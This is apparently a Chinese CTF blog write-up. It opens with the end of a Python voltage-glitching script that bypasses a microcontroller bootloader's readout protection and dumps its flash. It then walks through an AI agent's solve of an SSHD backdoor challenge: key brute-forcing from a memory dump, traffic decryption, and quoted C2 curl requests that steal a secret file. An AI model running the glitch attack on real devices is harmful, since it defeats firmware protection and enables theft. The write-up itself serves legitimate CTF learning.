107    s = serial.Serial(UART_PORT, UART_BAUD, parity=serial.PARITY_EVEN, timeout=0.5)
108
109    cnt = {"nack": 0, "anom": 0, "nr": 0, "sf": 0, "bypass": 0, "full": 0}
110    start = time.time()
111
112    for i in range(1, MAX_ATTEMPTS + 1):
113        delay = random.randint(DELAY_MIN, DELAY_MAX)
114        pulse = random.randint(PULSE_MIN, PULSE_MAX)
115
116        # 断电重启
117        ps_dev.gpio(GPIO.GPIO1, 0)
118        time.sleep(POWER_OFF_T)
119        ps_dev.gpio(GPIO.GPIO1, 1)
120        time.sleep(BOOT_T)
121
122        # 配置引擎
123        ps_dev.engine_cfg(
124            Engine.E1,
125            [(0, delay), (1, pulse), (0, 1)],
126            TRIGGER_MODE.RISE, 1, 6
127        )
128
129        # 同步
130        s.reset_input_buffer()
131        s.write(b'\x7f')
132        sync = s.read(1)
133        if sync != b'\x79':
134            cnt["sf"] += 1
135            continue
136
137        # arm → 发命令 (触发毛刺)
138        ps_dev.arm(Engine.E1)
139        s.write(b'\x11\xee')
140        cmd = s.read(1)
141
142        if not cmd:
143            cnt["nr"] += 1
144            tag = "nr"
145        elif cmd == b'\x1f':
146            cnt["nack"] += 1
147            tag = "nack"
148        else:
149            if cmd != b'\x79':
150                cnt["anom"] += 1
151            tag = f"0x{cmd.hex()}"
152
153        # ── 核心: 无论 cmd 响应, 都盲发地址 ──
154        s.write(gen_addr(FLASH_BASE))
155        addr_ack = s.read(1)
156
157        if addr_ack == b'\x79':
158            cnt["bypass"] += 1
159            log(f"\n  [{i}] BYPASS! d={delay} p={pulse} cmd={tag} → addr=0x79")
160
161            # 尝试读取 flash
162            data, ok = try_read_full(s, f"[{i}]")
163
164            if ok and data:
165                cnt["full"] += 1
166                log(f"\n{'='*60}")
167                log(f"  [!!!] COMPLETE FLASH DUMP at #{i}")
168                log(f"  delay={delay}, pulse={pulse}")
169                log(f"{'='*60}")
170                show_hexdump(data, FLASH_BASE)
171
172                # ASCII 提取
173                printable = ''.join(chr(b) if 32 <= b < 127 else '.' for b in data)
174                log(f"\n  ASCII: {printable}")
175
176                with open("flash_dump_final.bin", "wb") as f:
177                    f.write(data)
178                log(f"  Saved {len(data)} bytes to flash_dump_final.bin")
179
180                # 尝试继续读更多块
181                all_data = bytearray(data)
182                addr = FLASH_BASE + len(data)
183                for _ in range(15):  # 最多再读 15 块
184                    s.write(gen_addr(addr))
185                    a = s.read(1)
186                    if a != b'\x79':
187                        break
188                    s.write(bytes([BLOCK_SIZE, BLOCK_SIZE ^ 0xFF]))
189                    sa = s.read(1)
190                    if sa != b'\x79':
191                        break
192                    s.timeout = 2.0
193                    extra = s.read(BLOCK_SIZE + 1)
194                    s.timeout = 0.5
195                    if not extra:
196                        break
197                    all_data.extend(extra)
198                    addr += len(extra)
199                    if all(b == 0xFF for b in extra):
200                        break
201
202                if len(all_data) > len(data):
203                    with open("flash_dump_full.bin", "wb") as f:
204                        f.write(all_data)
205                    log(f"  Extended dump: {len(all_data)} bytes → flash_dump_full.bin")
206
207                elapsed = time.time() - start
208                log(f"\n  Completed in {i} attempts, {elapsed:.1f}s")
209                break
210            else:
211                log(f"  Bypass but read failed, continuing...")
212
213                # 尝试: 不带毛刺重新读一次
214                s.reset_input_buffer()
215                s.write(b'\x7f')
216                rs = s.read(1)
217                if rs == b'\x79':
218                    s.write(b'\x11\xee')
219                    rc = s.read(1)
220                    log(f"  Clean retry: sync=0x79, cmd=0x{rc.hex() if rc else 'none'}")
221                    if rc == b'\x79':
222                        s.write(gen_addr(FLASH_BASE))
223                        ra = s.read(1)
224                        if ra == b'\x79':
225                            data2, ok2 = try_read_full(s, "clean")
226                            if ok2 and data2:
227                                cnt["full"] += 1
228                                log(f"\n  [!!!] CLEAN READ SUCCESS!")
229                                show_hexdump(data2, FLASH_BASE)
230                                with open("flash_dump_final.bin", "wb") as f:
231                                    f.write(data2)
232                                break
233
234        # 进度
235        if i <= 10 or i % 200 == 0:
236            e = time.time() - start
237            r = i / e if e > 0 else 0
238            log(f"  [{i:5d}] d={delay:4d} p={pulse:2d} {tag:<6s} | n={cnt['nack']} a={cnt['anom']} nr={cnt['nr']} bp={cnt['bypass']} ok={cnt['full']} | {r:.1f}/s")
239
240    else:
241        e = time.time() - start
242        log(f"\n  Exhausted {MAX_ATTEMPTS} in {e:.1f}s | {cnt}")
243
244    s.close()
245    LOG_FILE.close()
246
247
248if __name__ == "__main__":
249    main()

攻击成功效果(这个数据是我后面重新写的,我也不知道当初的数据是啥样的了)

image-20260404200210803

image-20260404200139006

实在是拖了很久,不过终于是将他顺利完成了,也算是了却一个小小的心事吧)

SSHD

题目附件提供了一个流量包,一个名为sshd的elf程序,一个sshd的进程内存镜像

不难看出是一个结合流量分析+内存分析+逆向分析的题目

那么一上来肯定是进行简单的逆向分析,看看elf程序里都搞了什么

丢进ida查看字符串就会发现他上了一个upx,没有进行什么修改,所以直接用upx -d脱壳即可

image-20260327171350670

脱壳后,重新将程序丢进ida,不难发现这大概率就是一个go编译的二进制程序

image-20260327171635040

后面的步骤,就轮到cc出马了,我们先通过ida no mcp插件将elf程序的数据全部导出

然后将其与附件放在一个目录中,再通过claude code直接分析即可,提示词如下

1目录里是一道ctf的misc困难题目,其中夹带了reverse也就是逆向分析,附件分别为一个pcapng流量包dmp内存镜像文件,以及sshd-fixed这是一个我已经把upx脱掉的程序,好像是go编译的,我通过插件将里面的函数及大部分数据信息导出了,放在export-for-ai目录里,所以逆向的部分可以优先直接分析目录里的内容,请先用uv init初始化项目,然后用uv管理和运行python程序uv pip install你需要的库uv run对应的python脚本,环境中还配置了tshark,可以结合分析流量包。GoReSym.exe不是附件,是一个工具,用于go的符号表恢复,使用说明为README.md,请自行阅读分析,可以先看看需不需要恢复符号表再决定是否使用。将题目的信息实时存入记忆以免丢失进度,帮我分析出如何解出flag,格式为flag{}

这边放出cc最后给我的wp

附件

文件大小说明
chall.pcapng376 KB网络流量抓包
sshd.dmp1.74 GBELF 64-bit core dump(sshd 进程内存镜像)
sshd-fixed10.7 MB已脱壳的可疑 sshd 二进制(Go 编译,ELF 64-bit)

1. 逆向分析:识别 Go 后门二进制

1.1 基本信息

1file sshd-fixed
2# ELF 64-bit LSB executable, x86-64, dynamically linked, stripped

通过 IDA Pro + Go 分析插件加载后,识别关键特征:

  • Go 编译:导出符号含 crosscall2, _cgo_panic, _cgo_topofstack(CGo 桥接函数)
  • UPX 加壳:已预先脱壳
  • 符号高度混淆:包名和函数名全部随机化

1.2 混淆包名还原

通过分析字符串表和函数调用关系,还原关键包的对应关系:

混淆名真实用途
s1qEwJlVecrypto/ecdh — X25519/ECDH 密钥交换
aWhkKW4af_XKHPKE(混合公钥加密,RFC 9180)
mIRWHSnur88AEAD 密码套件注册(ChaCha20-Poly1305 / AES-GCM)
yiejMe2hf自定义 TLS 层(Handshake, Write 等)
wUGBqQEE0G7TLS 密钥调度(HandshakeSecret, MasterSecret 等)
WGF5aW3w协议消息类型定义

1.3 LGLO 协议核心函数

在地址 0x998300 处的大型函数(因复杂度过高无法反编译)是协议状态机核心。通过 raw bytecode 分析:

协议魔术字校验(0x9983A0):

1mov   edx, [rdx]           ; 读取 4 字节
2bswap edx                  ; 大端 → 小端
3cmp   edx, 0x4C474C4F      ; 比较 "LGLO"
4je    <protocol_handler>    ; 匹配则进入协议处理

写入 LGLO 响应头(0x998E20):

1mov   dword [rax], 0x4F4C474C  ; 写入 "LGLO" magic
2; ... 后续写入大端长度字段
3bswap edx
4mov   [rax], edx               ; BE32 length

1.4 加密层分析

二进制中包含两套 AEAD 实现:

itab 地址NonceSizeOverhead实现
0xB4EBF81216ChaCha20-Poly1305
0xB4EBC01216AES-256-GCM

密钥设置函数 0x7EC8E0 包含 44 字节混淆密钥缓冲区和 60 次迭代洗牌解混淆。

密钥交换使用 X25519 ECDH + HPKE ExtractAndExpand (HKDF-SHA256)。

1.5 协议格式

1┌──────────┬──────────────┬──────────────────────┐
2 "LGLO"    Length (BE32)  Encrypted Payload    
3 4 bytes   4 bytes       variable length      
4└──────────┴──────────────┴──────────────────────┘
5
6Encrypted Payload = Nonce(12B) || Ciphertext || GCM Tag(16B)

加密通道建立后,内部使用 hashicorp/yamux 多路复用。

2. 流量分析

2.1 基本信息

1tshark -r chall.pcapng -q -z conv,tcp
1172.10.10.128:2222 <-> 172.10.10.1:5817
2  2589 packets, 292 KB, duration ~135s
  • 服务端:172.10.10.128:2222(运行恶意 sshd)
  • 客户端:172.10.10.1:5817(C2 控制端)
  • 单一 TCP 连接

2.2 提取原始载荷

1tshark -r chall.pcapng -Y "tcp.payload" \
2  -T fields -e frame.number -e ip.src -e tcp.srcport -e tcp.len -e tcp.payload \
3  > all_packets.txt

2.3 协议消息统计

所有 payload 熵值为 8.00 bits(全加密),零重复。消息尺寸分布:

尺寸数量含义
40B~1887yamux 控制帧(12B 明文 + 12B nonce + 16B tag)
29B466短应答帧(1B 明文)
49B233客户端命令帧(21B 明文)
85B233服务器响应帧(57B 明文 beacon)
其他~26HTTP 请求/响应等大数据帧

3. 密钥提取:从内存转储中暴力搜索

3.1 分析思路

核心洞察:sshd.dmp 是 core dump(ELF 格式),包含进程运行时的完整内存。会话密钥一定存在于某个内存区域中。

3.2 关键发现 — prepended nonce 模式

经过多轮尝试(ChaCha20-Poly1305 零 nonce、计数器 nonce、HPKE 派生 nonce 等全部失败后),突破性发现是:

40 字节 payload = 12 字节 nonce(前置) + 12 字节明文 + 16 字节 GCM tag

也就是说 nonce 不是外部派生的,而是直接嵌入在每条消息的前 12 字节。这是 AES-256-GCM 而非 ChaCha20-Poly1305!

3.3 暴力搜索密钥

在 1.74 GB 内存中每 8 字节对齐搜索 32 字节候选密钥,尝试 AES-256-GCM 解密第一条消息(prepended nonce 模式):

 1#!/usr/bin/env python3
 2"""
 3search_keys14.py — 在 sshd.dmp 中暴力搜索 AES-256-GCM 密钥
 4关键突破: payload 前 12 字节为 GCM nonce,后续为密文+tag
 5"""
 6import struct, os
 7from cryptography.hazmat.primitives.ciphers.aead import AESGCM
 8
 9DUMP_FILE = "sshd.dmp"
10
11def main():
12    # 第一条客户端消息(40 字节)
13    first_client = bytes.fromhex(
14        "1689cdadd644dbb9c12c9d5ade02de02"
15        "042ecefd4eb00891e848055cdcb2f406"
16        "17adf0184a762393"
17    )
18    # 拆分: 前 12 字节 = nonce, 后 28 字节 = ciphertext + 16B tag
19    nonce = first_client[:12]
20    ct_and_tag = first_client[12:]
21
22    file_size = os.path.getsize(DUMP_FILE)
23    CHUNK = 32 * 1024 * 1024  # 32MB 分块读取
24
25    with open(DUMP_FILE, 'rb') as f:
26        offset = 0
27        tested = 0
28        while offset < file_size:
29            f.seek(offset)
30            data = f.read(min(CHUNK + 32, file_size - offset))
31            if len(data) < 32:
32                break
33
34            for i in range(0, len(data) - 32, 8):
35                key = data[i:i+32]
36                # 跳过低熵块
37                if len(set(key)) < 12:
38                    continue
39                tested += 1
40
41                # 尝试 AES-256-GCM 解密
42                try:
43                    cipher = AESGCM(key)
44                    pt = cipher.decrypt(nonce, ct_and_tag, None)
45                    addr = offset + i
46                    print(f"\n*** AES-GCM KEY FOUND at offset 0x{addr:x}! ***")
47                    print(f"Key: {key.hex()}")
48                    print(f"Plaintext: {pt.hex()}")
49                    return
50                except:
51                    pass
52
53                if tested % 200000 == 0:
54                    pct = (offset + i) * 100.0 / file_size
55                    print(f"  {pct:.1f}% ({tested} tested)", flush=True)
56
57            offset += CHUNK
58
59if __name__ == "__main__":
60    os.chdir(os.path.dirname(os.path.abspath(__file__)))
61    main()

3.4 密钥发现

搜索成功找到密钥:

1*** AES-GCM KEY FOUND! ***
2Key: 75067ed959f4a964eefe7566edd077ffbaee16e0aa85b984845e03e0d8fea119

4. 解密流量

4.1 LGLO 帧解析器(关键坑点)

重要:LGLO 帧会跨 TCP 包分片! 必须先将每个方向的 TCP payload 拼接成连续字节流,再解析 LGLO 帧。逐包解析会丢失跨包的大消息。

最终采用的解析方式 — 流拼接法:

 1# 按方向拼接连续字节流
 2client_stream = b''
 3server_stream = b''
 4for pkt_num, direction, src_ip, src_port, length, raw in packets:
 5    if direction == "C->S":
 6        client_stream += raw
 7    else:
 8        server_stream += raw
 9
10def parse_lglo_stream(stream):
11    """从连续字节流中解析 LGLO 帧"""
12    messages = []
13    pos = 0
14    while pos < len(stream):
15        if stream[pos:pos+4] == b'LGLO':
16            pos += 4
17            if pos + 4 > len(stream):
18                break
19            msg_len = struct.unpack('>I', stream[pos:pos+4])[0]
20            pos += 4
21            if pos + msg_len > len(stream):
22                messages.append(stream[pos:])
23                break
24            messages.append(stream[pos:pos+msg_len])
25            pos += msg_len
26        else:
27            pos += 1  # 跳过非 LGLO 数据
28    return messages

4.2 最终解密脚本(完整 EXP)

  1#!/usr/bin/env python3
  2"""
  3final_solve.py — 完整 EXP: 从 pcapng 提取 → 解析 LGLO → 解密 AES-256-GCM → 找到 flag
  4用法: 先用 tshark 导出 all_packets.txt,然后运行本脚本
  5  tshark -r chall.pcapng -Y "tcp.payload" \
  6    -T fields -e frame.number -e ip.src -e tcp.srcport -e tcp.len -e tcp.payload \
  7    > all_packets.txt
  8  uv run python final_solve.py
  9"""
 10import struct
 11import os
 12import base64
 13from cryptography.hazmat.primitives.ciphers.aead import AESGCM
 14
 15PACKETS_FILE = "all_packets.txt"
 16KEY_HEX = "75067ed959f4a964eefe7566edd077ffbaee16e0aa85b984845e03e0d8fea119"
 17
 18
 19def parse_lglo_stream(stream):
 20    """从连续字节流中解析 LGLO 帧"""
 21    messages = []
 22    pos = 0
 23    while pos < len(stream):
 24        if stream[pos:pos+4] == b'LGLO':
 25            pos += 4
 26            if pos + 4 > len(stream):
 27                break
 28            msg_len = struct.unpack('>I', stream[pos:pos+4])[0]
 29            pos += 4
 30            if pos + msg_len > len(stream):
 31                messages.append(stream[pos:])
 32                break
 33            messages.append(stream[pos:pos+msg_len])
 34            pos += msg_len
 35        else:
 36            pos += 1
 37    return messages
 38
 39
 40def main():
 41    key = bytes.fromhex(KEY_HEX)
 42    cipher = AESGCM(key)
 43
 44    # ---- Step 1: 读取 tshark 导出的原始包 ----
 45    with open(PACKETS_FILE, 'r') as f:
 46        lines = f.readlines()
 47
 48    # 按方向拼接 TCP 字节流
 49    client_stream = b''
 50    server_stream = b''
 51    for line in lines:
 52        line = line.strip()
 53        if not line:
 54            continue
 55        parts = line.split('\t')
 56        if len(parts) < 5:
 57            continue
 58        src_port = int(parts[2])
 59        raw = bytes.fromhex(parts[4])
 60        if src_port == 5817:  # Client -> Server
 61            client_stream += raw
 62        else:  # Server -> Client
 63            server_stream += raw
 64
 65    # ---- Step 2: 解析 LGLO 帧 ----
 66    client_msgs = parse_lglo_stream(client_stream)
 67    server_msgs = parse_lglo_stream(server_stream)
 68    print(f"[*] Client->Server LGLO messages: {len(client_msgs)}")
 69    print(f"[*] Server->Client LGLO messages: {len(server_msgs)}")
 70
 71    # ---- Step 3: AES-256-GCM 解密 ----
 72    all_decrypted = []
 73    for label, msgs in [("C->S", client_msgs), ("S->C", server_msgs)]:
 74        for payload in msgs:
 75            if len(payload) < 28:  # 至少 12B nonce + 16B tag
 76                continue
 77            nonce = payload[:12]
 78            ct_tag = payload[12:]
 79            try:
 80                pt = cipher.decrypt(nonce, ct_tag, None)
 81                all_decrypted.append((label, pt))
 82            except Exception:
 83                pass
 84
 85    print(f"[*] Total decrypted messages: {len(all_decrypted)}")
 86
 87    # ---- Step 4: 提取有意义的数据 ----
 88    print("\n" + "=" * 70)
 89    print("Decrypted Data Messages (excluding yamux control frames):")
 90    print("=" * 70)
 91
 92    flag_found = False
 93    for direction, pt in all_decrypted:
 94        if len(pt) <= 12:
 95            continue  # 跳过 yamux 控制帧
 96
 97        text = pt.decode('utf-8', errors='replace')
 98        ascii_safe = ''.join(c if 32 <= ord(c) < 127 else '.' for c in text)
 99
100        # 打印非重复的有意义消息
101        if 'HTTP' in text or 'GET' in text or 'flag' in text.lower() \
102                or len(pt) > 60:
103            print(f"\n[{direction}] ({len(pt)} bytes):")
104            print(f"  {text[:500]}")
105
106        # 搜索 base64 编码的 flag
107        if 'ZmxhZ' in text:
108            print(f"\n{'='*70}")
109            print(f"[!] Found Base64-encoded flag!")
110            b64_str = text.strip()
111            decoded = base64.b64decode(b64_str).decode()
112            print(f"[!] Base64: {b64_str}")
113            print(f"[!] Decoded: {decoded}")
114            print(f"{'='*70}")
115            flag_found = True
116
117    if not flag_found:
118        # 备用: 搜索所有明文
119        full = b''.join(pt for _, pt in all_decrypted)
120        if b'ZmxhZ' in full:
121            idx = full.find(b'ZmxhZ')
122            # 往后找到 base64 边界
123            end = idx
124            while end < len(full) and full[end:end+1] in \
125                    b'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=':
126                end += 1
127            b64 = full[idx:end].decode()
128            print(f"\n[!] Flag (base64): {b64}")
129            print(f"[!] Flag (decoded): {base64.b64decode(b64).decode()}")
130
131
132if __name__ == "__main__":
133    os.chdir(os.path.dirname(os.path.abspath(__file__)))
134    main()

5. 解密结果:还原攻击场景

解密后的流量完整还原了攻击者通过后门进行的操作:

5.1 通信架构

 1┌──────────────┐    LGLO/AES-GCM     ┌──────────────┐
 2│  C2 控制端   │◄══════════════════►│  受害机(sshd) │
 3│ 172.10.10.1  │    yamux 多路复用    │172.10.10.128  │
 4│              │                      │  :2222        │
 5└──────┬───────┘                      └──────┬───────┘
 6       │                                     │
 7       │  通过 yamux 隧道转发:               │
 8       │  1. SMB 探测 (445)                  │
 9       │  2. HTTP 浏览器指纹 (7680)          │
10       │  3. curl 文件窃取 (8000)            │
11       └─────────────────────────────────────┘

5.2 解密出的关键 HTTP 通信

C2 → 受害机(通过 curl/8.15.0)

1GET / HTTP/1.1
2Host: 192.168.219.134:8000
3User-Agent: curl/8.15.0

受害机响应(Python SimpleHTTPServer)

1<h1>Directory listing for /</h1>
2<li><a href="secret/">secret/</a></li>
3<li><a href="tmp/">tmp/</a></li>
1GET /secret/ HTTP/1.1

→ 发现 secret.txt

1GET /secret/secret.txt HTTP/1.1

→ 响应内容(68 字节):

1ZmxhZ3t5MHVfNFIzXzRfTTQ1NzNyXzBGX1IzdjNSMjMhIzFmZjg4YzY5OTA1YTBhZDR9

5.3 Base64 解码

1>>> import base64
2>>> base64.b64decode("ZmxhZ3t5MHVfNFIzXzRfTTQ1NzNyXzBGX1IzdjNSMjMhIzFmZjg4YzY5OTA1YTBhZDR9").decode()
3'flag{y0u_4R3_4_M4573r_0F_R3v3R23!#1ff88c69905a0ad4}'

完整攻击链

1逆向分析 sshd-fixed(Go 后门)
2    → 识别 LGLO 自定义协议格式
3    → 分析加密方式为 AES-256-GCM
4    → 从 sshd.dmp 内存转储暴力搜索 AES-256-GCM 密钥
5    → 用 tshark 提取流量并解析 LGLO 帧
6    → 解密还原 yamux 多路复用隧道中的 HTTP 通信
7    → Base64 解码 secret.txt 获得 flag

最终本题目在零人工介入的情况下,由claude opus4.6在两个多小时的努力下顺利解出

小小的感慨与总结

其实当初final赛后,就挺想来复现了,还特地拉了个小群说是来解一下,但是最后也是因为各种原因(比如我比较懒)一直搁置了,直到今年,ai浪潮汹涌袭来,ctf圈已经来到了一个新的时代。我也是在某天晚上,突然想起来说,既然现在ai那么强,那么他可不可以直接解出以前解不出的题呢,遂重新捡起了final的赛题,并进行了必要的复现。

“古法已死,新王当立”,如今的赛场上已经遍地是agent的踪迹,一场比赛结束,收上来的wp也很难看出一丝人味。现在的ai真的太强了,选手们用来分析附件的时间,ai已经能把题目做出来了,实话说这真的很打击选手的积极性(我的小登们都道心破碎了)。但我们都知道这大趋势已经不可逆转,ai只会越来越强,古法安全的时代真的已经在慢慢翻篇了,ctf总有一天也会走到尽头,或许会有新的形式替代它也说不定。

也许与自己和解,尝试拥抱新法,转变思路,才是现在最好的出路罢。

好怀念以前无所不能的自己啊)